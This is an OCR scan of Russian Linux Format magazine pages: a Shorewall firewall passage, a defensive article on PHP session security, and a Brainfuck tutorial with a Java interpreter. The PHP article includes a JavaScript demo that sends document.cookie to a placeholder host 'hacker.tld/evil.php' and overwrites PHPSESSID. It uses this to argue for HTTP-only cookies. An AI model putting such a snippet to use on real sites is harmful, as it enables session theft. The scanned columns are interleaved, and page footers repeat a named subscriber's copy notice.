ний веб-сервер может быть организован следующим об- Shorewall – умение получать параметры извне и работать
разом: с переменными. Центральная роль здесь отводится фай-
лу /etc/shorewall/params: это сценарий на языке оболочки,
#ACTION SOURCE DEST PROTO DEST SOURCE ↵ который копируется в результирующий скрипт, генерируе-
ORIGINAL RATE
# PORT PORT(S) ↵ мый Shorewall в процессе компиляции. Он, например, мо-
DEST LIMIT жет иметь такой вид:
DNAT net loc:192.168.0.2 tcp http - ↵
- 3/sec:10
ROUTER_IP=192.168.0.1
SMTP=$(get_current_smtp)
Зона и адрес, на который должны быть переправлены
запросы, указывается в поле DEST. Если у шлюза несколь- Здесь подразумевается, что в вашей системе реали-
ко IP-адресов, а проброс портов нужно производить только зована команда get_current_smtp, возвращающая IP-ад-
для одного, укажите его в колонке ORIGINAL DEST. Нако- рес SMTP-сервера текущего провайдера. Тогда правило
нец, RATE LIMIT задает максимально допустимую нагрузку: для «виртуального сервера» можно переписать следую-
в среднем 3 запроса в секунду, но не более 10 пиково. щим образом:
Действие DNAT удобно тем, что создает сразу два пра-
вила iptables: одно непосредственно для преобразования #ACTION SOURCE DEST PROTO DEST SOURCE ORIGINAL
# PORT PORT(S) DEST
адресов, а другое – для приема трафика, удовлетворяю- DNAT- loc net:$SMTP tcp 25 - $ROUTER_IP
щего заданным критериям. В большинстве ситуаций это
именно то, что требуется. Если же вы по каким-либо при- Имена переменных рекомендуется начинать с боль-
чинам хотите добавить только DNAT и ничего больше, ис- шой буквы – так вы гарантированно избежите конфлик-
пользуйте действие DNAT-. та имен с внутренними переменными Shorewall. Теперь
DNAT-преобразование можно применить для создания при смене провайдера достаточно просто выполнить ко-
«виртуальных сервисов»: сетевых служб, которые, с точки манду shorewall restart.
зрения клиентов локальной сети, выполняются на шлюзе,
а на самом деле находятся где-то в другом месте. Возьмем, Вместо заключения
к примеру, электронную почту: если сеть сравнительно не- Shorewall позволяет создавать конфигурации практически
велика, то вполне вероятно, что в ней не будет собственно- любой сложности: с несколькими провайдерами (в том чис-
го SMTP-сервера: всю корреспонденцию будут просто от- ле разделяющими один сетевой интерфейс), мостами, шей-
правлять через сервер провайдера. Если эти самые про- пингом и учетом трафика, VPN... На худой конец, его мож-
вайдеры (а вместе с ними и SMTP-серверы) меняются до- но сравнительно легко модифицировать под свои нужды,
статочно часто (да, такое тоже бывает: в первые две не- а лицензия (GPLv2) позволяет даже распространять изме-
дели месяца связь обеспечивает компания A, по исчерпа- ненные копии. Искусство в том, чтобы понять, не забиваете
нию лимита – компания Б), перенастройка почтовых кли- ли вы микроскопом гвозди (и не идете ли с саблей на тан-
ентов на компьютерах пользователей превращается в го- ки), но выбор инструмента, оптимальным образом подхо-
ловную боль. дящего под конкретную задачу, – это тема совсем для дру-
Следующее правило избавит вас от нее: гой статьи. Или даже учебника.
Безопасная работа
с сессиями в PHP
Антон Гришан
Создатели PHP считают, что забота о безопасности работы с сессиями лежит
на разработчике веб-приложения, а многие разработчики надеются на безопасность работы,
которую гарантирует стандартный механизм работы с сессиями. В итоге разработчики
не заботятся о безопасности сессий, а PHP не имеет защитных механизмов, поэтому многие
PHP-приложения уязвимы.
Атаки на приложение тель, знающий идентификатор сес- считать, что доступ к данным сессии
через систему управления сии, не всегда является владель- можно получить только из приложе-
сессиями цем данной сессии. Любые дан- ния и поэтому безопасно использовать
Существует две основные причины, ные, пришедшие от пользователя, данные, хранящиеся в сессии, однако
по которым возможны атаки на PHP- нуждаются в проверке, будь то ло- это далеко не так.
приложение через систему управле- гин и пароль или идентификатор
ния сессиями: сессии. Рассмотрим ниже возможные вари-
n Нет проверки идентификатора n Разработчики доверяют данным, анты атак на приложение через систе-
сессии пользователя. Пользова- хранящимся в сессии. Принято му управления сессиями.
58
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Кража сессии (Session Hijacking) Цель атаки – получение доступа чения не совпадают, то мы расцени-
Суть атаки заключается в использо- к значениям сессии с возможностью ваем это как попытку взлома и унич-
вании злоумышленником идентифи- чтения/записи. В случае успеха зло- тожаем сессию.
катора сессии, принадлежащего ле- умышленник может читать и/или фаль- Конечно, это приведет к тому, что
гальному пользователю, для выдачи сифицировать любое значение, храня- данные легального пользователя, хра-
себя за владельца сессии. щееся в сессии. нящиеся в сессии, также будут уничто-
Существует множество способов, Существуют два подвида отравле- жены (возможно, пользователю при-
с помощью которых можно узнать ния сессии: дется снова авторизоваться), но и до-
идентификатор чужой сессии, вот не- n атаке подвергается сессия, при- бытый злоумышленником идентифи-
которые из них: надлежащая легальному пользо- катор сессии будет более не актуа-
n перехват трафика легального поль- вателю, с целью получения персо- лен.
зователя; нальной информации, хранящейся Рассмотрим алгоритм построения
n ор гани з ац ия XSS (Cross Site в сессии; подписи браузера на базе значения
Scripting)-атаки; n злоумышленник модифицирует HTTP-заголовка User-Agent. Данное
n подобрать с помощью перебора. собственную сессию для выдачи поле содержит подробную информа-
себя за другого и/или повышения цию об агенте, пославшем HTTP-за-
Подмена сессии (Session Fixation) привилегий. прос, вот несколько примеров значе-
Для подмены сессии злоумышлен- ния данного поля для разных брау-
нику не нужен идентификатор чужой Методы противодействия зеров, установленных на моем ком-
сессии, достаточно установить иден- В PHP механизм управления сессия- пьютере:
тификатор своей сессии легальному ми предполагает, что только владелец n Firefox – Mozilla/5.0 (Windows;
пользователю, прошедшему автори- знает идентификатор сессии и для по- U; Windows NT 5.1; ru; rv:1.9.0.5)
зацию. Логика такого типа атаки про- лучения доступа к данным не требует Gecko/2008120122;
тивоположна по отношению к краже дополнительной авторизации. По ана- n Internet Explorer – Mozilla /4.0
сессии, но в обоих случаях создается логии можно представить ситуацию, (compatible; MSIE 6.0; Windows NT
ситуация, при которой злоумышленник при которой банк выдаёт деньги чело- 5.1; SV1; .NET CLR 2.0.50727; .NET
и легальный пользователь имеют один веку, знающему номер существующе- CLR 3.0.04506.30);
и тот же идентификатор сессии. го счета. Для безопасной работы с сес- n Google Chrome – Mozilla /5.0
сиями необходим дополнительный ме- (Windows; U; Windows NT 5.1; en-
Отравление сессии ханизм идентификации, не причиняю- US) AppleWebKit/525.19 (KHTML,
(Session Poisoning) щий неудобств легальным пользовате- like Gecko) Chrome/1.0.154.43
Опасность отравления сессии возни- лям и являющийся существенной пре- Safari/525.19.
кает, когда PHP-приложение совмест- градой для злоумышленников.
но с приложениями других пользова- Рассмотрим несколько приемов, Значение данного поля обладает
телей исполняется на одном сервере. позволяющих эффективно противо- следующими важными свойствами:
Угроза отравленной сессии возникает, стоять атакам на систему управления n неизменно для всех запросов поль-
если злоумышленник имеет возмож- сессиями. Для простоты изложения зователя – браузеру нет необходи-
ность установить свой PHP-сценарий в дальнейшем мы будем предполагать, мости его изменять, если только
на сервере, где исполняется атакуе- что идентификатор сессии хранится пользователь не сменил браузер
мое приложение. в переменной c именем PHPSESSID. или операционную систему;
Суть атаки – если PHP-приложения Данное имя переменной используется n разные пользователи имеют раз-
исполняются на одном сервере, то ве- PHP по умолчанию и может быть изме- ное значение параметра – так как
лика вероятность, что, зная идентифи- нено с помощью встроенной функции параметр, содержит информацию
катор сессии, злоумышленник сможет session_name() или путем изменения о типе и версии операционной сис-
работать с данными сессии, созданной директивы session.name в php.ini. темы, версии браузера и языке,
в атакуемом приложении. то, вероятно, для разных пользо-
Угроза отравления сессии сущест- Подпись браузера вателей эти значения будут отли-
вует, если злоумышленник может ис- Основная идея данного механизма за- чаться.
полнять PHP-скрипты на сервере, где щиты заключается в том, чтобы при-
исполняется атакуемое приложение, вязать идентификатор сессии к бра- Разумеется, значение поля User-
что возможно в двух случаях: узеру пользователя. Мы используем Agent не является абсолютно уникаль-
n приложение имеет ошибку, позво- заголовки HTTP-запроса для созда- ным, но тем не менее вполне подходит
ляющую исполнять PHP-код; ния подписи браузера. В момент стар- для построения подписи браузера.
n приложение работает на серве- та новой сессии данное значение вы- В PHP получить доступ к значению
ре вместе с приложениями других числяется и сохраняется в перемен- HTTP-заголовка User-Agent можно че-
пользователей хостинга, наиболее ной сессии. При повторном обращении рез элемент суперглобального масси-
актуально для небольших проек- мы снова вычисляем подпись браузе- ва $_SERVER['HTTP_USER_AGENT'].
тов, не имеющих выделенного сер- ра и сравниваем полученный резуль- Рассмотрим пример построения
вера. тат со значением из сессии. Если зна- подписи браузера.
60
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Поэтому в приведенном выше примере для подавле- ние cookie по средствам защищенного соединения. Ес-
ния предупреждений использован символ @ перед опе- ли приложение работает с денежными потоками, то сто-
раторами ini_set. Если есть возможность, то лучше вмес- ит использовать защищенное соединение (SSL) для за-
то использования ini_set() прописать эти директивы напря- щиты идентификатора сессии от перехвата.
мую в php.ini: n Ограничить доступ к значению идентификатора сес-
сии только через HTTP. Для любого веб-приложения
session.use_trans_sid = 0 сложно представить ситуацию, при которой необходи-
session.use_only_cookies = 1
мо манипулировать значением идентификатора сес-
Использование системы cookie для передачи идентифи- сии на стороне пользователя, однако получить доступ
катора сессии затрудняет кражу или подмену сессии. К со- к переменной PHPSESSID можно с помощью JavaScript
жалению, сессии перестанут работать для пользователей, наравне с другими переменными cookie, чем регуляр-
отключивших cookie, однако этот факт не должен являть- но пользуются злоумышленники для похищения или
ся причиной отказа от хранения идентификатора сессии подмены сессии. Для повышения уровня безопаснос-
в cookie по следующим причинам: ти необходимо запретить доступ к значению перемен-
n у подавляющего большинства пользователей cookie ной PHPSESSID. Для этого нам необходимо переда-
включены; вать идентификатор сессии в cookie с пометкой HTTP-
n хранение идентификатора в URL имеет гораздо боль- only. Поэтому в качестве пятого аргумента функции
ше отрицательных последствий, чем использование session_set_cookie_params всегда необходимо указы-
cookie; вать значение true.
n если у пользователя отключены cookie, то в момент ав-
торизации можно показать сообщение об ошибке (на- Большинство браузеров умеют работать с HTTP-only
пример: «В браузере выключены cookie. Пожалуйста, cookie, однако имеют уязвимости, позволяющие получить
включите их.») с подробным описанием действий, необ- доступ к значению переменной по средствам JavaScript.
ходимых для включения cookie, наподобие того, как это Это явление носит временный характер, и с выходом новых
делает Gmail (почтовый сервис от Google). версий браузеров ошибки будут устранены. Тем не менее
использовать HTTP-only cookie для хранения идентифика-
Защита cookie, хранящей идентификатор сессии тора сессии определенно стоит уже сейчас.
Идентификатор сессии хранится на стороне пользовате- Рассмотрим на практическом примере, как session_set_
ля в cookie с именем PHPSESSID. Доступ к этому значе- cookie_params помогает защитить идентификатор сессии.
нию позволит злоумышленнику организовать атаку типа
«кража сессии» или «подмена сессии», поэтому защита <?php
session_start();
cookie – важный элемент обеспечения безопасности рабо- ?>
ты с сессиями. Для наcтройки параметров cookie в PHP пре-
<html>
дусмотрена функция session_set_cookie_params (см. http:// <head>
ru.php.net/manual/en/function.session-set-cookie-params.php), <title>Пример 1: Доступ к PHPSESSID с помощью ↵
JavaScript</title>
позволяющая: </head>
n Определить время жизни cookie. Чем меньше время <body>
<script>
существования cookie, тем меньше шансов, что ее зна- // PHPSESSID содержит идентификатор сессии
чение удастся похитить злоумышленнику. Необходимо alert(document.cookie);
выбрать минимально-допустимое время жизни. Важно // Осуществляем кражу сессии путем передачи значений
помнить, что время жизни cookie, хранящей идентифи- // cookie скрипту злоумышленника (атака кража «сессии»)
window.open("http://hacker.tld/evil.php?"+ ↵
катор сессии, и время жизни самой сессии – не одно document.cookie, 'new');
и то же.
// Кроме того, злоумышленник может
n Ограничить область видимости идентификатора // изменить идентификатор сессии
сессии. Значение идентификатора сессии должно быть // (атака «подмена сессии»)
document.cookie="PHPSESSID=hacked";
доступно только там, где оно действительно необходи-
мо, и нигде более. Для этого необходимо определить // Теперь идентификатор сессии
// пользователя модифицирован
домен и путь, в пределах которого будет доступно зна- alert(document.cookie);
чение cookie. </script>
</body>
n Определить метод установки cookie. Четвертый пара-
метр функции определяет, будет ли установлено значе- Приведенный выше пример демонстрирует, насколько
62
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
и пример использования session_set_save_handler мож- // уничтожаем сессию
self::destroy();
но найти по адресу: http://php.net/manual/ru/function.session-
set-save-handler.php. // Обрабатываем ошибку
die($error);
В качестве хранилища данных сессии можно использо- }
вать БД, что в большинстве случаев позволяет повысить
} else {
уровень безопасности. Для хранения данных в БД мож- // Создана новая сессия
но создать собственный класс (см. http://shiflett.org/articles/ $_SESSION[self::browserSignKeyName] = ↵
$browserSign;
storing-sessions-in-a-database) или воспользоваться PHP-
расширением PostgreSQL Session Save Handler (см. http:// // Изменяем идентификатор сессии
self::changeId();
www.php.net/manual/ru/book.session-pgsql.php). }
Данный механизм защиты позволяет минимизировать
вероятность атаки типа «отравление сессии». }
Алексей Вторников
Обычно новый язык программирования является либо стремлением увеличить эффективность
программирования (сравните: машинные коды → ассемблеры → Fortran → Algol → ...),
либо как ответ на недостаточность выразительных средств существующих языков
для решения сложных задач обработки информации – списков, графов, деревьев,
логических выводов... (IPL-V, Lisp и функциональное программирование, Snobol, Prolog и др.).
Бывает, новый язык программирования рождается в процессе исследовательской работы
(например, SQL). Тема настоящей статьи – язык программирования, чье появление во многом
обусловлено интеллектуальной «шалостью» его создателя. В отличие от большинства таких
забав, быстро появляющихся и еще быстрее исчезающих, та, которой посвящена эта статья,
благополучно живет и развивается.
Немного истории составлял жалкие 1024 байта, но эта ние с английского на русский я не рис-
Язык программирования, о котором цель была перевыполнена: длина ори- кну – оно звучит откровенно неприлич-
идет речь, никак нельзя назвать моло- гинального компилятора Мюллера, на- но (по-английски, впрочем, тоже). Ви-
дым – ему уже больше полутора десят- писанного на ассемблере для компью- димо, именно поэтому достаточно быс-
ков лет. В 1993 году швейцарский про- тера Amiga, составила всего 240 байт. тро оригинальное название языка со-
граммист Урбан Мюллер (Urban Muller) Правда, исходный язык программиро- кратили до BF.
задался целью разработать язык про- вания получился весьма необычным – Чтобы понять, почему язык полу-
граммирования с минимально воз- кое-чем пришлось «пожертвовать». чил такое необычное имя, давайте рас-
можным объемом компилятора (согла- Язык включал в себя всего во- смотрим его описание. В отличие от по-
ситесь, необычная обратная задача: семь примитивных команд и требо- давляющего большинства других язы-
разработать не компилятор для язы- вал от программиста мобилизации ков программирования, чьи описания
ка, а язык для компилятора так, чтобы серьезных интеллектуальных усилий нередко занимают сотни страниц, опи-
размер последнего не превышал напе- при написании программ, из-за чего сание BF очень компактно. Это, разу-
ред заданного объема). Предполагае- и получил недвусмысленное назва- меется, не означает, что программиро-
мый предельный объем компилятора ние Brainfuck. Переводить это назва- вание на BF простое занятие – как раз
64
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
нет, но ограниченные рамки журналь- Следующие две команды – всем хо- +--+--+--+--+--+--+--+--+--+
| | | | | | | | | | ...
ной публикации не позволяют мне рошо знакомые команды увеличения +--+--+--+--+--+--+--+--+--+
сколько-нибудь подробно останавли- и уменьшения. Первая из них («+») уве-
Рисунок 1. Графическое представление
ваться на этом, и поэтому заинтересо- личивает на единицу значение, содер- область памяти
ванного читателя я отсылаю к ссылкам жащееся в ячейке памяти под указате-
на ресурсы в конце статьи. лем, вторая («-») уменьшает на едини- который подобен конструкции «while»
цу значение в ячейке памяти под ука- знакомого по языкам программиро-
Среда исполнения зателем. На языке C это было бы за- вания C или Java: цикл выполняется
и синтаксис BF писано как «++*pointer» и «--*pointer». пока не 0.
В распоряжении программиста име- Опять же, при реализации BF необхо- Выше я говорил о том, что команды
ется область памяти некоторого объ- димо следить за переполнением зна- «[» и «]» всегда «работают» совместно.
ема (исторически, обычно 215-1 ячеек, чений в ячейках. Иными словами, точно так же, как и
чего обычно вполне достаточно даже Для связи с внешним миром в язы- в арифметическом выражении, скоб-
для весьма больших BF-программ). ке BF имеются две команды. Первая ки «[» и «]» должны быть правильно
Графически удобно представлять об- из них «.» (точка) печатает на экране вложены (сбалансированы).
ласть памяти как одномерный массив символ, чей ASCII-код хранится в ячей- Ниже приведен пример правильно-
целых чисел, расположенный горизон- ке памяти под указателем. Вторая ко- го вложения:
тально (см. рис. 1). манда «,» (запятая) приглашает к вводу
Доступ к ячейкам памяти осущест- символа с клавиатуры; ASCII-код это- [[][[[]]]]
вляется по указателю, подобно тому, го символа запоминается в ячейке па-
как это делается в языке C. В каждый мяти под указателем. Следующая (по- А вот эти последовательности ко-
момент времени указатель «обозрева- видимому, минимальная) программа манд «[» и «]» вложены неправильно:
ет» одну ячейку памяти. Те, кто не зна- на BF иллюстрирует эти команды:
ком с языком C, могут представить [[][]]]
[[[][]]
память просто как массив, а указа- ,.
тель как индекс массива (индексиро- К счастью, баланс скобок «[» и «]»
вание массива начинается с 0). Перед Первая команда ожидает ввода легко проверяется на этапе компиля-
запуском программы на исполнение, символа и сохраняет его ASCII-код ции (см. ниже).
все ячейки памяти инициализируются в текущей ячейке памяти; указатель Вот, собственно, и все описание
нулем, а указатель устанавливается на памяти остается без изменений. Вто- языка BF. Внимательный читатель,
самую левую ячейку памяти. рая команда считывает число из те- безусловно, спросит, а как быть с сим-
В классическом варианте языка кущей ячейки памяти, интерпретиру- волами, не входящими в набор указан-
BF программы и данные разделены: ет его как ASCII-код, переводит в со- ных восьми? А никак – они попросту иг-
память служит только местом хране- ответствующее символьное представ- норируются. Отсюда следует, что лю-
ния данных; это отличительная особен- ление и распечатывает. бой текст, за исключением указанных
ность так называемой «гарвардской» К этому моменту были рассмотре- восьми символов, можно рассматри-
архитектуры. Однако ничто не пре- ны шесть из восьми команд BF: оста- вать как комментарий. Это весьма
пятствует тому, чтобы и данные, и про- лись две последние. Эти команды поз- удобно, в чем читатель, безусловно,
граммы использовали общую память воляют управлять выполнением про- быстро убедится, когда будет состав-
(архитектура «фон Неймана»): для это- граммы и всегда работают «в паре». лять свои программы или разбирать
го, разумеется, необходимо изменить Вот эти команды: «[» и «]». программы, написанные другими. Что-
интерпретатор. В статье, однако, рас- Первая из них проверяет содер- бы читатель мог составить представ-
сматривается классический вариант жимое ячейки памяти под указателем ление, как выглядит типичная BF-про-
языка BF. и сравнивает его с нулем. Если содер- грамма, привожу исходный код, печа-
Указатель может передвигаться жимое этой ячейки равно 0, то управ- тающий каноническое «Hello World!»:
вдоль памяти вперед (вправо) и на- ление выполнением программы пере-
зад (влево), последовательно перехо- дается на команду за парной ей скоб- >+++++++++[<++++++++>-]<.>+++++++
[<++++>-]<+.+++++++..+++.[-]>++++
дя от одной ячейки к другой. Для это- кой «]». Если не 0, то выполняются ко- ++++ [<++++>-]<.>+++++++++++[<++
го в BF имеются соответствующие манды, следующие после этой скобки +++>-]<.>++++++++[<+++>-]<.+++.--
----.--------.[-] >++++++++[<++++>
команды «>» и «<». В обозначени- вплоть до парной «]». Так реализуется -]<+.[-]++++++++++.
ях языка C эти команды можно за- передача управления вперед.
писать как «++pointer» и «--pointer» Теперь о второй команде. Если со- Попытайтесь вручную «прокрутить»
(здесь «pointer» – указатель на целое). держимое ячейки под указателем па- эту программу. Теперь стало понятней,
Очевидно, что в силу ограниченнос- мяти не 0, то управление передается почему язык получил свое имя?
ти объема выделенной памяти необ- назад, к первой команде после пар-
ходимо следить за тем, чтобы указа- ной «[». Если же содержимое памяти Интерпретатор
тель не выходил за границы отведен- под указателем 0, то выполняется ко- Ниже приводится исходный код ин-
ной памяти, и предпринимать соответ- манда, следующая за «]». Таким обра- терпретатора BF, написанный на Java.
ствующие меры. зом, эти две команды реализуют цикл, Для ясности восприятия исходный код
66
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
самым простым) так называемых «базисов» – минималь-
// Точка входа... ных конструкций, используемых для исследования алго-
public static void main (String [] args) {
if (args.length > 0) { ритмов и построении теоретических моделей вычислимых
try {new BrainFuck (new File (args [0]));} функций. Это, однако, совсем другая история.
catch (IOException ioe) {
ioe.printStackTrace (); Напоследок (для тех, у кого остаются сомнения в воз-
System.exit (0); можностях языка BF) привожу результат работы BF-про-
}
} else { граммы, строящей фрактальное множество Бенуа Ман-
System.out.println ("Синтаксис: ↵ дельброта (см. рис. 2).
java BrainFuck исходный_файл");
System.exit (0);} Вот, собственно, и все. Если читатель имеет склонность
} к решению сложных задач, то язык BF, пожалуй, способен
}
удовлетворить такой взыскательный вкус. Желаю этому чи-
Учитывая простоту синтаксиса BF, интерпретатор реа- тателю успехов и открытий в освоении такого удивитель-
лизован что называется «в лоб». но простого и одновременно такого сложного языка про-
В точке входа (метод main()) считывается имя файла граммирования, как BF.
с исходным текстом BF-программы. Содержимое файла
сохраняется в строку, из которой удаляются все символы, 1. http://en.wikipedia.org/wiki/Brainfuck – общее введение в BF с ил-
не относящиеся к языку BF (метод cleanCode()); после та- люстративными примерами.
кой «очистки» интерпретировать программу гораздо про- 2. http://www.nettwerked.net/K-1ine_44.txt – прекрасное описание
ще. Метод checkBrackets() сканирует эту строку и прове- BF, написанное программистом и для программистов.
ряет в нем баланс скобок «[» и «]» стандартным методом 3. http://esoteric.sange.fi/brainfuck – богатая коллекция интерпре-
счетчика. таторов, компиляторов и исходных текстов BF‑программ.
Если скобки сбалансированы, то инициализируют- 4. http://community.livejournal.com/ru_brainfucker – русскоязычное
ся область памяти, программный счетчик и указатель па- сообщество по языку BF. Много интересных и полезных све-
мяти, после чего начинается интерпретация кода (метод дений не только по BF, но и по другим так называемым «эзо-
interpret()). Интерпретатор считывает команду за командой, терическим» языкам программирования.
передает управление соответствующему методу и увели- 5. http://bf.kzn.ru – еще один сайт на русском языке, посвящен-
чивает значение программного счетчика. ный языку BF. Здесь вы найдете интересную информацию, ре-
Обратите внимание на методы startJump() и endJump(): комендую посетить.
их назначение – поиск в исходном коде парных скобок (со- 6. http://mozaika.com.au/oleg/zhur/mozg10r1.html – ссылка для на-
ответственно, поиск «]» и «[») и корректировка значения про- стоящих любителей вывернуть мозг наизнанку. В статье О. Ма-
граммного счетчика (причем корректировка может проис- зонки и Д. Кристофани рассматривается и исчерпывающим
ходить как в сторону увеличения, так и уменьшения – все образом разбирается самоинтерпретатор языка BF (интер-
зависит от того, какая скобка ищется). Переменная level от- претатор языка BF, написанный на нем же).
слеживает уровень вложенности и по-
могает искать парную скобку. AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDEGFFEEEEDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAAAAABBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDEEEFGIIGFFEEEDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEFFFI KHGGGHGEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEFFGHIMTKLZOGFEEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBB
Заключительные AAAAAAAAAAABBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEEFGGHHIKPPKIHGFFEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBBBB
AAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGHIJKS X KHHGFEEEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBB
замечания AAAAAAAAABBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGQPUVOTY ZQL[MHFEEEEEEEDDDDDDDCCCCCCCCCCCBBBBBBBBBBBBBB
AAAAAAAABBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEFFFFFGGHJLZ UKHGFFEEEEEEEEDDDDDCCCCCCCCCCCCBBBBBBBBBBBB
Разумеется, язык BF абсолютно AAAAAAABBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEFFFFFFGGGGHIKP
AAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEEFGGHIIHHHHHIIIJKMR
KHHGGFFFFEEEEEEDDDDDCCCCCCCCCCCBBBBBBBBBBB
VMKJIHHHGFFFFFFGSGEDDDDCCCCCCCCCCCCBBBBBBBBB
не практичен, но если вы ищете спо- AAAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDEEEEEEFFGHK MKJIJO N R X
AAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDEEEEEEEEEFFFFGH O TN S
YUSR PLV LHHHGGHIOJGFEDDDCCCCCCCCCCCCBBBBBBBB
NKJKR LLQMNHEEDDDCCCCCCCCCCCCBBBBBBB
соб изысканно и нестандартно сойти AAAAABBCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDEEEEEEEEEEEEFFFFFGHHIN
AAAABBCCCCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEFFFFFFGHIJKLOT
Q UMWGEEEDDDCCCCCCCCCCCCBBBBBB
[JGFFEEEDDCCCCCCCCCCCCCBBBBB
AAAABCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEEFFFFFFGGHYV RQU QMJHGGFEEEDDDCCCCCCCCCCCCCBBBB
с ума, то трудно найти что-либо срав- AAABCCCCCCCCCCCCCCCCCDDDDDDDEEFJIHFFFFFFFFFFFFFFGGGGGGHIJN JHHGFEEDDDDCCCCCCCCCCCCCBBB
AAABCCCCCCCCCCCDDDDDDDDDDEEEEFFHLKHHGGGGHHMJHGGGGGGHHHIKRR UQ L HFEDDDDCCCCCCCCCCCCCCBB
нимое. AABCCCCCCCCDDDDDDDDDDDEEEEEEFFFHKQMRKNJIJLVS JJKIIIIIIJLR YNHFEDDDDDCCCCCCCCCCCCCBB
AABCCCCCDDDDDDDDDDDDEEEEEEEFFGGHIJKOU O O PR LLJJJKL OIHFFEDDDDDCCCCCCCCCCCCCCB
Замечу, что с математической точ- AACCCDDDDDDDDDDDDDEEEEEEEEEFGGGHIJMR RMLMN NTFEEDDDDDDCCCCCCCCCCCCCB
AACCDDDDDDDDDDDDEEEEEEEEEFGGGHHKONSZ QPR NJGFEEDDDDDDCCCCCCCCCCCCCC
ки зрения язык BF полон по Тьюрин- ABCDDDDDDDDDDDEEEEEFFFFFGIPJIIJKMQ VX HFFEEDDDDDDCCCCCCCCCCCCCC
ACDDDDDDDDDDEFFFFFFFGGGGHIKZOOPPS HGFEEEDDDDDDCCCCCCCCCCCCCC
гу, то есть при наличии достаточного ADEEEEFFFGHIGGGGGGHHHHIJJLNY TJHGFFEEEDDDDDDDCCCCCCCCCCCCC
A PLJHGGFFEEEDDDDDDDCCCCCCCCCCCCC
объема памяти с его помощью можно ADEEEEFFFGHIGGGGGGHHHHIJJLNY TJHGFFEEEDDDDDDDCCCCCCCCCCCCC
ACDDDDDDDDDDEFFFFFFFGGGGHIKZOOPPS HGFEEEDDDDDDCCCCCCCCCCCCCC
вычислить все то, что может вычис- ABCDDDDDDDDDDDEEEEEFFFFFGIPJIIJKMQ VX HFFEEDDDDDDCCCCCCCCCCCCCC
AACCDDDDDDDDDDDDEEEEEEEEEFGGGHHKONSZ QPR NJGFEEDDDDDDCCCCCCCCCCCCCC
лить машина Тьюринга. И, следова- AACCCDDDDDDDDDDDDDEEEEEEEEEFGGGHIJMR RMLMN NTFEEDDDDDDCCCCCCCCCCCCCB
AABCCCCCDDDDDDDDDDDDEEEEEEEFFGGHIJKOU O O PR LLJJJKL OIHFFEDDDDDCCCCCCCCCCCCCCB
тельно, возможности языка BF не сла- AABCCCCCCCCDDDDDDDDDDDEEEEEEFFFHKQMRKNJIJLVS JJKIIIIIIJLR YNHFEDDDDDCCCCCCCCCCCCCBB
AAABCCCCCCCCCCCDDDDDDDDDDEEEEFFHLKHHGGGGHHMJHGGGGGGHHHIKRR UQ L HFEDDDDCCCCCCCCCCCCCCBB
